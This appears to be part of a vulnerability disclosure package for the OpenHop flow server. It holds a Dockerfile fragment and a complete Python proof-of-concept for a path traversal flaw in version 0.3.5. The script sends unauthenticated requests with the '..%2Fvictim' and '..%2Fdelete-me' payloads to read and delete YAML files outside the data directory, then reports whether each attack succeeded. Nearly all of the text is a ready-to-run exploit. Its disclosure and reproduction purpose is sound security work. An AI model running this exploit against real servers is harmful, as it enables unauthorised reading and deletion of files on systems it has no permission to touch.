Details
ENV OPENHOP_DATA_DIR=/data/flows
ENV HOST=0.0.0.0
ENV PORT=8799
Run the server via tsx (TypeScript runner; no compile step needed at runtime).
CMD ["npx", "tsx", "packages/server/src/index.ts"]
#### `poc.py`
```python
#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High
Vulnerability:
FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
return join(this.dir, `${id}.yaml`)
with no sanitization on `id`. The route GET /api/flows/:id passes
`req.params.id` (decoded by find-my-way via decodeURIComponent) directly
to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
the URL is decoded to "../victim", causing path.join to escape the
configured data directory.
Attack Vectors:
READ: GET /api/flows/..%2Fvictim -> reads /data/victim.yaml
DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml
Both routes are unauthenticated (routes.ts:306, 509).
Usage:
python3 poc.py [host] [port]
python3 poc.py 127.0.0.1 8799
"""
import http.client
import json
import sys
import time
HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799
# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"
def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
"""Poll until the OpenHop server returns any response on /api/flows."""
deadline = time.time() + timeout
print(f"[*] Waiting for server at http://{host}:{port} ...")
while time.time() < deadline:
try:
conn = http.client.HTTPConnection(host, port, timeout=2)
conn.request("GET", "/api/flows")
r = conn.getresponse()
r.read()
conn.close()
print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
return True
except Exception:
time.sleep(1)
return False
def raw_http(method: str, host: str, port: int, path: str):
"""
Send an HTTP request with the path exactly as given — no normalization.
http.client does NOT percent-decode or normalize the path string, so
'..%2F' reaches the server verbatim and Fastify's router decodes it.
"""
conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request(method, path)
resp = conn.getresponse()
body = resp.read()
conn.close()
return resp.status, body
def main() -> int:
print("=" * 62)
print("VULN-001 Path Traversal in OpenHop Flow ID File Operations")
print("=" * 62)
print(f"[*] Target : http://{HOST}:{PORT}")
print(f"[*] Payload : ..%2F (decoded by find-my-way to ../)")
print(f"[*] Store : /data/flows/ (OPENHOP_DATA_DIR)")
print(f"[*] Outside : /data/victim.yaml /data/delete-me.yaml")
print()
if not wait_for_server(HOST, PORT):
print("[-] Server did not become ready within timeout. ABORT.")
return 1
print()
passed_read = False
passed_delete = False
# ── Attack 1: Read a file outside the configured flow store ─────────
print("[*] Attack 1 — READ path traversal")
print(f" Request : GET {TRAVERSAL_GET_PATH}")
print(f" Decoded : id = ../victim")
print(f" Resolves: path.join('/data/flows', '../victim.yaml')")
print(f" = /data/victim.yaml (outside flow store)")
status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
print(f" Body : {body_text[:600]}")
if status == 200:
try:
data = json.loads(body_text)
title = data.get("meta", {}).get("title", "")
if "SECRET_OUTSIDE_FILE" in title:
print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
print(f" Leaked title field = {title!r}")
passed_read = True
else:
print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
print(f" Full response: {data}")
# Still count as read-traversal success if we got a valid flow back
if "meta" in data or "flow" in data:
print("[PASS] READ confirmed: path traversal returned a flow from outside store")
passed_read = True
except json.JSONDecodeError:
print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
else:
print(f"[FAIL] Expected HTTP 200, got {status}")
print()
# ── Attack 2: Delete a file outside the configured flow store ────────
print("[*] Attack 2 — DELETE path traversal")
print(f" Request : DELETE {TRAVERSAL_DELETE_PATH}")
print(f" Decoded : id = ../delete-me")
print(f" Resolves: path.join('/data/flows', '../delete-me.yaml')")
print(f" = /data/delete-me.yaml (outside flow store)")
status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
body_text = body.decode("utf-8", errors="replace")
print(f" Status : {status}")
if body_text:
print(f" Body : {body_text[:200]}")
if status in (200, 204):
print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
passed_delete = True
else:
print(f"[FAIL] Expected HTTP 204, got {status}")
# ── Summary ─────────────────────────────────────────────────────────
print()
print("=" * 62)
if passed_read and passed_delete:
print("[RESULT] PASS — Both read and delete path traversal exploited")
return 0
elif passed_read:
print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
return 1
else:
print("[RESULT] FAIL — Exploit did not succeed")
return 2
if __name__ == "__main__":
sys.exit(main())